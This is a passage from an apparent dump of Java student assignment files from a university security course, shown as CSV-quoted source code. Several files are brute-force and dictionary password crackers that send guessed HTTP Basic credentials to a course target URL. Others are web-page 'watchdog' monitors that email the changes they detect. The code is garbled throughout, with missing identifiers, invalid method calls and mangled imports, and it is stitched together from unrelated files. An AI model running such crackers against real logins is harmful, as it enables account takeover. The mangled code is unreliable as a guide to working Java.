      th.sleep(100);
      }
      catch(Exception e)
      {} 
      i++;
     }
   }
   catch(Exception e )
   {
   System.out.println("" ex while  =""+ e);
   }
}


}




class RealThread implements Runnable
{
 private int num;
 private URL url;
 private HttpURLConnection uc =null;
 private String userPassword;
 private int responseCode = 100;
 public RealThread (int i, String userPassword)
 {
 try
 {
 url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
 }
 catch(Exception ex1)
 {
 }
 num = i;
 this.userPassword = userPassword;

 }
 
 public int getResponseCode()
 {
 return this.responseCode;
 }

 public void run()
 {
  try
  {
  String encoding = new bf.misc.BASE64Encoder().encode (userPassword.getBytes());

  uc = (HttpURLConnection)url.openConnection();
  uc.setRequestProperty (""Authorization"", "" "" + encoding);
  System.out.println(""Reponse  = ""+uc.getResponseCode()+""for pwd = ""+userPassword);
  this.responseCode = uc.getResponseCode();
  if(uc.getResponseCode()==200)
  {
   System.out.println(""====== Password Found : "" +userPassword+ ""======================="");
   System.exit(0);
  }
  }
  catch (Exception e) {
   System.out.println(""Could not execute Thread ""+num+"" "");
  }
 }

}
"
086.java,"import java.net.*;
import java.io.*;
import java.*;

 public class BruteForce {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     BruteForce a = new BruteForce();
     String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
     				 """",
     				 """"};
     int attempts = 0;
     exit:
     for (int i=0;i<pwdArray.length;i++) {
		 for (int j=0;j<pwdArray.length;j++) {
			 for (int k=0;k<pwdArray.length;k++) {
				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
				 attempts++;
     			 a.doit(inp);
  
  				 if (status) {
					 System.out.println(""Crrect password is: "" + inp[2]);
					 System.out.println(""Number of attempts = "" + attempts);
					 break exit;
			 	 }
     			 inp[2] = """";
		 	 }
	 	 }
      }
     }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty (""Authorization"",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return "" "" + base64Encode (username + "":"" + password);
     }

   private final static char pwdArray [] = {
	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
	        'W', 'X', 'Y', 'Z', ' '
  };

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = """";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += ""="";
          break;
        case 2:
          encodedString += ""=="";
          break;
        }
       }
       return encodedString;
   }
 }

"
037.java,"import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;
import java.security.*;



public class WatchDog extends Thread
{

	
	public static void main (String args[])
	{
	    WatchDog watcher = new WatchDog();
	    watcher.run();
	}

	
    public void run()
    {
   		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
          twentyFourHours = 24 * 60 * 60 * 1000;
        

   		writeProgramLog(""Program started at "" + longTimestamp.format(new Date()));
        while(true)
        {
    		writeProgramLog(""Running run at "" + longTimestamp.format(new Date()));
            compare();
            try
            {
                sleep(twentyFourHours);
            }
            catch(InterruptedException e)
            {
                writeProgramLog(""Program terminated at "" + longTimestamp.format(new Date()));
                System.exit(0);
            }
        }
    } 

	
    private void compare()
    {
        
        
        
        String watchDogFile = ""watchDogHash_rcroft."";
        String watchDogPageFile = ""watchDogPage_rcroft.html"";
    
        File watchDogLogFile = new File(watchDogFile);
        
        if(!watchDogLogFile.exists())
        {
            
            
            
            
            
            WebPage targetPage = getPage();
            if(targetPage.getSuccess())
            {
                byte[] newHash = calcHash(targetPage.getPageContents());
                writeHash(newHash, watchDogFile);
                writePage(targetPage.getPageContents(), watchDogPageFile);
            }
        }
        else
        {
            try
            {
                
                
                
                
                
                
                WebPage targetPage = getPage();
                if(targetPage.getSuccess())
                {
                    
                    byte[] oldHash = new byte[16]; 
                    byte[] newHash = calcHash(targetPage.getPageContents());

                    
                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));
                    inWatchDogFile.readFully(oldHash);
                    inWatchDogFile.print();
                    
                    
                    
                    
                    if(!java.util.Arrays.equals(oldHash, newHash))
                    {
                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());
                        mail(differences);
                        writeHash(newHash, watchDogFile);
                        writePage(targetPage.getPageContents(), watchDogPageFile);
                    }
                }
            }
            catch(IOException e)
            {
                writeProgramLog(""Exception: "" + e);
            }
        }
    } 
    

	
	private String enumerateDifferences(String oldPageFileName, String newPageData)
	{
	    String differences = """";
	    File newFile = null;

	    try
	    {
	      
	      
	      newFile = File.createTempFile(""new"", ""tmp"");
          String tempFilePath = newFile.getAbsolutePath();
          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));
          outFile.writeBytes(newPageData);
          outFile.print();
          
          
          String commandLine = ""diff "" + oldPageFileName + "" "" + tempFilePath;
          Process p = Runtime.getRuntime().exec(commandLine);
          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));
          String line;
          while((line = diffs.readLine()) != null)
            differences += line + ""\n"";
          diffs.print();
          newFile.delete();
	    }
	    catch(IOException e)
	    {
	        writeProgramLog(""Exception: "" + e);
	    }
	    return differences;
	}  

	
    private void mail(String mailMessage)
    {
        
        Vector emailAddresses = new Vector();
        String watchDogEmailFile = ""watchDogEmail_rcroft.txt"";

        
        File emailFile = new File(watchDogEmailFile);
        if(emailFile.exists())
        {
            try
            {
                
                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));
                String line;
                while ((line = inWatchDogEmailFile.readLine()) != null)
                {
                    line = line.trim();
                    if((line != """") && (line != ""\n""))
                        emailAddresses.add(line);
                }
                inWatchDogEmailFile.print();
    	    }
    	    catch(FileNotFoundException e)
    	    {
    	        writeProgramLog(""Exception: "" + e);
    	    }
    	    catch(IOException e)
    	    {
    	        writeProgramLog(""Exception: "" + e);
    	    }
        }
        else
        {
            emailAddresses.add(""@yallara.cs.rmit.edu."");
            emailAddresses.add(""rac@acslink.aone.net."");
        }
                
        if(emailAddresses.size() > 0) 
        {
            try
            {
                String fromAddress = ""From: "" + ""WatchDog Program ()"" + "" <"" + System.getProperty(""user.name"") + ""@"" + InetAddress.getLocalHost().getHostName() + "">"";
        		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
                String subject = ""Subject: [SEC project] Notification of target file changes ("" + longTimestamp.format(new Date()) +"")"";
                for(int i = 0; i < emailAddresses.size(); i++)
                {
                    String toAddress = (String) emailAddresses.get(i);
                    try
                    {
                        URL mailURL = new URL(""mailto: "" + toAddress);
                        URLConnection mailConnection = mailURL.openConnection();
                        mailConnection.setDoInput(false);
                        mailConnection.setDoOutput(true);
                        mailConnection.connect();
                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));
                        mailWriter.print("": "" + toAddress + ""\n"");
                        mailWriter.print(fromAddress + ""\n"");
                        mailWriter.print(subject + ""\n"");
                        mailWriter.print(mailMessage);
                        mailWriter.print();
                        writeProgramLog(""\tNotification mailed in this run."");
                    }
                    catch(MalformedURLException e)
                    {
                        writeProgramLog(""Exception: "" + e);
                    }
                    catch(IOException e)
                    {
                        writeProgramLog(""Exception: "" + e);
                    }
                }
            }
            catch(UnknownHostException e)
            {
                writeProgramLog(""Exception: "" + e);
            }  
        }  
    } 
    

	
    private void writeHash(byte [] newHash, String fileName)
    {
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
            outFile.write(newHash, 0, newHash.length);
            outFile.print();
        }
        catch(IOException e)
        {
            writeProgramLog(""Exception: "" + e);
        }
    }  
    
	
    private void writePage(String newPage, String fileName)
    {
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
            outFile.writeBytes(newPage);
            outFile.print();
        }
        catch(IOException e)
        {
            writeProgramLog(""Exception: "" + e);
        }
    }  
    

	
    private void writeProgramLog(String comment)
    {
        String fileName = ""watchDogLog_rcroft.txt"";
        try
        {
            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));
            outFile.writeBytes(comment + ""\n"");
            outFile.flush();
            outFile.print();
        }
        catch(IOException e)
        {
            
            
            System.out.println(""Exception: "" + e);
        }
    }  

	
    private WebPage getPage()
    {
        WebPage tempWebPage = new WebPage();
        try
        {
            
            
            
            String urlName = ""http://www.cs.rmit.edu./students/"";
   	    	URL targetURL= new URL(urlName);
           	HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();
        
            
            connection.connect();
            connection.getResponseCode();
            if(connection.getResponseCode() == 200)
		    {
		        String fileContents = """";
		        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
                String line;
    		    while((line = in.readLine()) != null)
		    	    fileContents = fileContents + line + ""\n"";
		        in.print();
		        tempWebPage.setPageContents(fileContents);
    		    tempWebPage.setSuccess(true);
    		    connection.disconnect();
	        }
	        else
		    {
    		    writeProgramLog(""Failed  connect "" + connection.getResponseCode());
		    } 
        }
        catch(IOException e)
        {
    	    writeProgramLog(""Exception "" + e);
        } 
        return tempWebPage;
    } 
    
	
    private  byte[] calcHash(String pageContents)
    {
        byte[] outHash = null;
        try
        {
            MessageDigest msg = MessageDigest.getInstance("""");
            msg.reset();
            msg.update(pageContents.getBytes());
            outHash = msg.digest();
            msg.reset();
        }
        catch(NoSuchAlgorithmException e)
        {
            writeProgramLog(""Exception: "" + e);
        }
        return outHash;
    } 
        
} 
"
023.java,"



public class HoldSharedData
{
    private int      numOfConnections = 0;
    private    int  startTime;
    private    int  totalTime = 0;
    private String[] password;
    private int      pwdCount;

    public HoldSharedData( int time, String[] pwd, int count )
    {
        startTime = time;

        password = pwd;
        pwdCount = count;
    }

    public int getPwdCount()
    {
        return pwdCount;
    }

    public void setNumOfConnections( )
    {
        numOfConnections ++;
    }

    public int getNumOfConnections()
    {
        return numOfConnections;
    }

    public int getStartTime()
    {
        return startTime;
    }

    public void setTotalTime( int newTotalTime )
    {
        totalTime = newTotalTime;
    }

    public int getTotalTime()
    {
        return totalTime;
    }

    public String getPasswordAt( int index )
    {
        return password[index];
    }
}  
"
215.java,"

import java.Runtime;
import java.io.*;

public class differenceFile
{
  StringWriter sw =null;
  PrintWriter pw = null;
  public differenceFile()
  {
    sw = new StringWriter();
    pw = new PrintWriter();
  }
  public String compareFile()
  {
    try
    {
      Process  = Runtime.getRuntime().exec(""diff History.txt Comparison.txt"");

      InputStream write = sw.getInputStream();
      BufferedReader bf = new BufferedReader (new InputStreamReader(write));
      String line;
      while((line = bf.readLine())!=null)
          pw.println(line);
      if((sw.toString().trim()).equals(""""))
      {
         System.out.println("" difference"");
         return null;
      }
      System.out.println(sw.toString().trim());
    }catch(Exception e){}
    return sw.toString().trim();
  }
}"
004.java,"import java.io.*;
import java.util.*;
import java.net.*;
import java.net.Authenticator;


public class  Dictionary
{

	private String result ="""";

	public class customAuthenticator extends Authenticator {
	       public customAuthenticator(String passwd)
           {
            this.pass = passwd;
           }

	       protected PasswordAuthentication getPasswordAuthentication()
           {
	                 return new PasswordAuthentication("""",pass.toCharArray());
           }
           public String pass;
    }

    public Dictionary() {

        DataInputStream dis = null;
        String record = null;
        int recCount = 0, flag=0;
	    String result="""";
        java.util.Date d = java.util.Calendar.getInstance().getTime();
        System.out.println(d.toString());


        String url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";


		int count=1;
		String passwd=new String();
        HttpURLConnection connection = null;
        URL u = null;

        try
        {
         u = new URL(url);
         File f = new File(""/usr/share/lib/dict/words"");
         FileInputStream fis = new FileInputStream(f);
         BufferedInputStream bis = new BufferedInputStream(fis);
         dis = new DataInputStream(bis);

                while ( (record=dis.readLine()) != null )
		            {
		              System.out.println(count+ "" ) "" + record);
                      count++;
                      connection = (HttpURLConnection) u.openConnection();
                      Authenticator.setDefault(new customAuthenticator(record));
                        if (connection.getResponseCode()==200)
                            {   System.out.print(""The password is : ""+record);
                                System.out.println();
                                java.util.Date d1 = java.util.Calendar.getInstance().getTime();
                                System.out.println(d1.toString());
                                System.out.println(""\ntime taken in seconds:""+ (d1.getTime() - d.getTime())/1000+""\n"");
                                System.exit(0);
                            }

                    connection.disconnect();
                        }
                }
            catch(Exception e) { System.err.println(e); }
    }

	public static void main(String[] args)
	{

		Dictionary  = new Dictionary();


	}
}"
114.java,"


public class BruteForce {
    
    private Thread threads[];
    private String strUsername;
    private String strURL;   
    
    
    public BruteForce(String username, String url) {
        threads = new Thread[14];
        strUsername = username;
        strURL = url;
    }
    
    public void crackStart()
    {
                

        int iOffset, i =0;
        iOffset = (52 * 52 * 52) / 14;
        CrackThread tmpCrack;
       
        for(i=0;i<14;i++) {
            tmpCrack = new CrackThread();
            
            tmpCrack.setParams(strURL, strUsername, (i * iOffset), (i * iOffset + iOffset));
            
            threads[i] = new Thread(tmpCrack);
            threads[i].print();
        }
    }
    
    
    public static void main(String[] args) {
        
        
        
        
        
        BruteForce bf = new BruteForce("""", ""http://sec-crack.cs.rmit.edu./SEC/2/"");
             
        bf.crackStart();
        
    }
    
    
}
"
254.java,"

import java.io.*;
import java.net.*;
import java.*;
import java.String;
import java.util.*;

 public class WatchDogThread extends Thread {
  private  int dayTime;
  private Vector webPageLines;
  private Vector originalWebPageLines;
  private Vector addLines;
  private Vector deductLines;
  private Vector v;
  private Runtime run;
  private String str;
  private String responseLine;
  private String host;
  private int lineNo;
  private Process process;
  private Socket socket;
  private BufferedReader in;
  private BufferedReader pageLine;
  private PrintWriter out;
  private boolean checked = false;  
  private boolean changed = false;  
  private static String commandLine=""curl http://www.cs.rmit.edu./students/ -i"";
  private String[] sendString = {
    ""HELO mail.nowhere."",
    ""MAIL FROM: @cs.rmit.edu."",
    ""RCPT : @cs.rmit.edu."",
    ""DATA"",
    ""Subject: webpage changed!"",
    ""."",
    ""QUIT""};

  public WatchDogThread(String str)
  {
   super(str);
   dayTime = 24*60*60*1000;
   webPageLines = new Vector();
   originalWebPageLines = new Vector();
   addLines = new Vector();
   deductLines = new Vector();
    v = new Vector();
  }

  public void run()
  {
   run = Runtime.getRuntime();
   host = ""mail.cs.rmit.edu."";
   while(true) {
   try{
     if(!loadPage())    
        break;

     if(checked)  {
       compare();

     if(addLines.size() != 0 || deductLines.size() != 0)
     {
       changed = true;
     }
     else if(v.size() != 0)
     {
       changed = true;
       addLines.removeAllElements();
       deductLines.removeAllElements();
     }
     else
     {
      changed = false;
      addLines.removeAllElements();
      deductLines.removeAllElements();
     }
     if(changed) {
      socket = new Socket(host,25);
      in = new
      BufferedReader(new InputStreamReader(
                    socket.getInputStream()));
      out = new PrintWriter(new
                         OutputStreamWriter(
                         socket.getOutputStream()));
      
      out.println(sendString[0]);
      out.flush();

      while((responseLine = in.readLine())!=null){
       if(responseLine.indexOf(""pleased  meet "") != -1)  break;
      }

      if(responseLine.indexOf(""pleased  meet "") != -1) {

       out.println(sendString[1]);
       out.flush();
       responseLine = in.readLine();

      if(responseLine.substring(responseLine.length()-9,responseLine.length()).equals(""Sender ok"")) {
       out.println(sendString[2]);
       out.flush();
       responseLine = in.readLine();

      if(responseLine.substring(responseLine.length()-12,responseLine.length()).equals(""Recipient ok"")) {
       out.println(sendString[3]);
       out.flush();
       responseLine = in.readLine();

      if(responseLine.substring(0,14).equals(""354 Enter mail"")) {
      
       out.println(sendString[4]);
       out.flush();

     
      lineNo = 0;
      if(addLines.size()!=0)
      {
        out.println(""The following lines  the added new lines:"");
        out.flush();
        while(addLines.size()>lineNo)
        {
         out.println(String.valueOf(lineNo+1)+"": ""+(String)(addLines.elementAt(lineNo++)));
         out.flush();
        }
        out.println(""\n---  ---  ---  ---  ---  --- ---\n"");
        out.flush();
      }
      lineNo = 0;
      if(deductLines.size()!=0)
      {
        out.println(""The following lines  the deducted lines:"");
        out.flush();
        while(deductLines.size()>lineNo)
        {
         out.println(String.valueOf(lineNo+1)+"": ""+ (String)(deductLines.elementAt(lineNo++)));
         out.flush();
        }
        out.println(""\n---  ---  ---  ---  ---  --- ---\n"");
        out.flush();
      }
      lineNo = 0;
      if(v.size() != 0)
      {
        out.println(""The following lines  the added lines that  the same"");
        out.flush();
        out.println("" as some lines in the original webpage:"");
        out.flush();
        while(v.size()>lineNo)
        {
         out.println(String.valueOf(lineNo+1)+"": ""+ (String)(v.elementAt(lineNo++)));
         out.flush();
        }
        out.println(""\n---  ---  ---  ---  ---  --- ---\n"");
        out.flush();
      }
      

      
      out.println(sendString[5]);
      out.flush();
      responseLine = in.readLine();

     if(responseLine.substring(responseLine.length()-29,responseLine.length()).equals(""Message accepted for delivery"")) {
      
      out.println(sendString[6]);
      out.flush();
     }
     }
     }
     }
     }
     socket.close();
    }
    update(changed);
    }
    else {
     checked = true;
     update(changed);
    }
    }
    catch (Exception e) {
     System.out.println(e.getMessage());
     break;
    }

    try {
     sleep(dayTime);
    }
    catch (InterruptedException e ) {
     System.out.println(e.getMessage());
     break;
    }
   }
  }


  public void compare()
  {
   int n = 0;
   int j = 0;
   try {
    v.removeAllElements();
    while(n < webPageLines.size()) {
     for(j = 0; j < originalWebPageLines.size(); j++)
     {
      if(((String)(webPageLines.elementAt(n)))
         .equals((String)(originalWebPageLines.elementAt(j))))
      {
       v.addElement((String)(webPageLines.elementAt(n)));
       break;
      }
     }
     if(j == originalWebPageLines.size())
     {
       addLines.addElement((String)(webPageLines.elementAt(n)));
     }
     n++;
    }

    n = 0;
    while(n < originalWebPageLines.size()) {
     for(j = 0; j < webPageLines.size(); j++)
     {
      if(((String)(originalWebPageLines.elementAt(n)))
          .equals((String)(webPageLines.elementAt(j))))
      {
        v.remove((String)(originalWebPageLines.elementAt(n)));
        break;
      }
     }
     if(j == webPageLines.size())
     {
       deductLines.addElement((String)(originalWebPageLines.elementAt(n)));
     }
     n++;
    }
   }
   catch (Exception e) {
     System.out.println(e.getMessage());
   }
}


  public void update(boolean updatePageLines)
  {
    try {
     addLines.removeAllElements();
     deductLines.removeAllElements();
     v.removeAllElements();
     if(updatePageLines)
     {
        originalWebPageLines.removeAllElements();
        for(int i=0; i< webPageLines.size(); i++)
        {
           originalWebPageLines.addElement((String)(webPageLines.elementAt(i)));
        }
        webPageLines.removeAllElements();
     }
     else   webPageLines.removeAllElements();
     changed = false;
    }
   catch (Exception e) {
     System.out.println(e.getMessage());
   }
}


  public boolean loadPage()
  {
   try {
     process = run.exec(commandLine);      
     pageLine = new
     BufferedReader(new InputStreamReader(process.getInputStream()));
     str = pageLine.readLine();
     if(str.equals(""HTTP/1.1 200 OK"")) {
        {
        str = pageLine.readLine();
        if(str.indexOf(""<"") != -1) break;
       }while(true);
       if(!checked)  originalWebPageLines.addElement(str);
       else          webPageLines.addElement(str);
        {
        str = pageLine.readLine();
        if(str != null) {
          if(str.length() != 0 && !(str.equals(""""))) {
             if(!checked)  originalWebPageLines.addElement(str);
             else          webPageLines.addElement(str);
          }
        }
        else      break;
       } while(true);
       return true;
     }
     else return false;
   }
   catch (Exception e) {
     System.out.println(e.getMessage());
   }
   return true;
  }
}

"
025.java,"
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class BruteForce
{

    private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',
    'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',
    'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',
    'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'};
    private int num=1;
    public void crackAddress() throws Exception
    {
       String line,username="""",passwd;
       int flag=0;
       Runtime run = Runtime.getRuntime();
       GregorianCalendar =new GregorianCalendar();
       for(int k=0;k<passwd_Array.length;k++)
       {
            for(int j=0;j<passwd_Array.length;j++)
            {
                for(int i=0;i<passwd_Array.length;i++)
                {
                 passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();
                 System.out.println(""Check with word:""+passwd.trim());
                 String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd.trim()+"" -dump"";
                 Process result = run.exec(command_line);
                 BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
                 while((line=bf.readLine())!=null)
                {
                 flag=1;
                 break;
                }
                if(flag==1)
                 {
                    System.out.println(""The username is: ""+username+"" The password is: ""+passwd);
                     break;
                 }
                }
                if(flag==1)
                 break;
              }
              if(flag==1)
                break;
       }
       if(flag==0)
       {
           for(int i=0;i<passwd_Array.length;i++)
             {
                for(int j=0;j<passwd_Array.length;j++)
                {
                 passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j])).toString();
                 System.out.println(""Check with word:""+passwd);
                 String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd+"" -dump"";
                 Process result = run.exec(command_line);
                 BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
                while((line=bf.readLine())!=null)
                {
                 flag=1;
                 break;
                }
                if(flag==1)
                 {
                    System.out.println(""The username is: ""+username+"" The password is: ""+passwd);
                     break;
                 }
                }
                if(flag==1)
                  break;
             }
             if(flag==0)
              {
                  for(int j=0;j<passwd_Array.length;j++)
                {
                 passwd =(new StringBuffer().append(passwd_Array[j])).toString();
                 System.out.println(""Check with word:""+passwd);
                 String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd+"" -dump"";
                 Process result = run.exec(command_line);
                 BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
                while((line=bf.readLine())!=null)
                {
                 flag=1;
                 break;
                }
                if(flag==1)
                 {
                    System.out.println(""The username is: ""+username+"" The password is: ""+passwd);
                     break;
                 }
                }
              }
         }
       GregorianCalendar end=new GregorianCalendar();
       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
       System.out.println(""The attack use""+time+"" seconds."");
    }

public static void main(String args[]) throws Exception
{
   BruteForce bf = new BruteForce();
   bf.crackAddress();
}
}"
218.java,"






import java.io.*;
import java.lang.Object;

public class WatchDog
{

   
   public static void main(String args[])throws Exception
   {
        Process p1,p2,p3,p4,p5;
        
        for(;;)
        {
          

          String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""Part 2-Assignment2 \""  < change.html""};
          String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* predir""};
          String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* predir""};
          String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* postdir""};
          String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* postdir""};
          String s6[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""};


          Process p = Runtime.getRuntime().exec(""mkdir predir"");
          p.waitFor();
          Process p1 = Runtime.getRuntime().exec(""mkdir postdir"");
          p1.waitFor();

          
          p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
          p1.waitFor();

          Process q2 = Runtime.getRuntime().exec(s2);
          q2.waitFor();
          Process q3 = Runtime.getRuntime().exec(s3);
          q2.waitFor();

          
          Thread.sleep(86400000);

          p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
          p3.waitFor();

          Process q4 = Runtime.getRuntime().exec(s4);
          q4.waitFor();
          Process q5 = Runtime.getRuntime().exec(s5);
          q5.waitFor();

          try
          {
            String str;
            p4 = Runtime.getRuntime().exec(s6);
            DataInputStream inp1 = new DataInputStream(p4.getInputStream());
            p4.waitFor();
            
            System.out.println(""The WatchDog - Returns 0 if  change  else 1"");
            System.out.println(""Value :"" + p4.exitValue());
            try
            {
                while ((str = inp1.readLine()) != null)
                {
                    System.out.println(str);
                }
            }
            catch (IOException e)
            {
                System.exit(0);
            }

          }
          catch(FileNotFoundException e )
          {
              e.printStackTrace();
          }

          BufferedReader in = new BufferedReader(new FileReader(""change.html""));
          
          if (in.readLine() != null)
          {

          try
          {
            String str1;
            p5 = Runtime.getRuntime().exec(s1);
            DataInputStream inp2 = new DataInputStream(p5.getInputStream());
            p5.waitFor();
          try
            {
                while ((str1 = inp2.readLine()) != null)
                {
                    System.out.println(str1);
                }
            }
            catch (IOException e1)
            {
                System.exit(0);
            }

          }
          catch(FileNotFoundException exp)
          {
              exp.printStackTrace();
          }

        }
    }
  }
}

"
076.java,"import java.io.*;
import java.net.*;


public class MyAuthenticator extends Authenticator {
    
    String username;
    String password;
    protected PasswordAuthentication getPasswordAuthentication() {
        
        String promptString = getRequestingPrompt();
        String hostname = getRequestingHost();
        InetAddress ipaddr = getRequestingSite();
        int port = getRequestingPort();
    
        
        return new PasswordAuthentication(username, 
           password.toCharArray());
    }
    public MyAuthenticator(String user, String pass)
    {
       username = user;
       password = pass;
    }
}

"
109.java,"import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Date;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.Message.RecipientType;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;




public class Mailsend
{
    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer"");
    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient"");
    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender"");
    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader"");


	

	public static void main(String args[])
	{
		try
		{
			
			String smtpServer = SMTP_SERVER;
			String recip = RECIPIENT_EMAIL;
			String from = SENDER_EMAIL;
			String subject = MESSAGE_HEADER;
			String body = ""Testing"";

			System.out.println(""Started sending the message"");
			Mailsend.send(smtpServer,recip , from, subject, body);
		}
		catch (Exception ex)
		{
			System.out.println(
				""Usage: java mailsend""
					+ "" smtpServer toAddress fromAddress subjectText bodyText"");
		}

		System.exit(0);
	}


	
	public static void send(String smtpServer, String receiver,	String from, String subject, String body)

	{
		try
		{
			Properties props = System.getProperties();

			

			props.put(""mail.smtp.host"", smtpServer);
			props.put(""mail.smtp.timeout"", ""20000"");
			props.put(""mail.smtp.connectiontimeout"", ""20000"");

			
			Session session = Session.getDefaultInstance(props, null);


			
			Message msg = new MimeMessage(session);

			
			msg.setFrom(new InternetAddress(from));
			msg.setRecipients(Message.RecipientType.NORMAL,	InternetAddress.parse(receiver, false));



			
			msg.setSubject(subject);

			msg.setSentDate(new Date());

			msg.setText(body);

			
			Transport.send(msg);

			System.out.println(""sent the email with the differences : ""+ + ""using the mail server: ""+ smtpServer);

		}
		catch (Exception ex)
		{
			ex.printStackTrace();
		}
	}
}
"
013.java,"import java.net.*; 
import java.io.*; 
import java.util.Vector;
import java.util.Date;
import java.security.*;











  
public class Dictionary { 
  public static BufferedReader in;
  
  
  public static void main(String[] args) throws Exception {   
    String baseURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";    
    int count=0;
    Date date = new Date();
     startTime=date.getTime();
    int LIMITINMINUTES=45;
    int TIMELIMIT=LIMITINMINUTES*1000*60;
    boolean timedOut=false;
    boolean found=false;
   
    
    Vector dictionary=new Vector(readWords());
    System.out.println(""Words in dictionary: ""+dictionary.size());
 
    
    
    
    
    
    
    while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
      
      Date endDate = new Date();
       endTime=endDate.getTime();    
      if (endTime>(TIMELIMIT+startTime)){
        System.out.println(""Timed out"");
        timedOut=true;
      }
      
      String password = """";

      
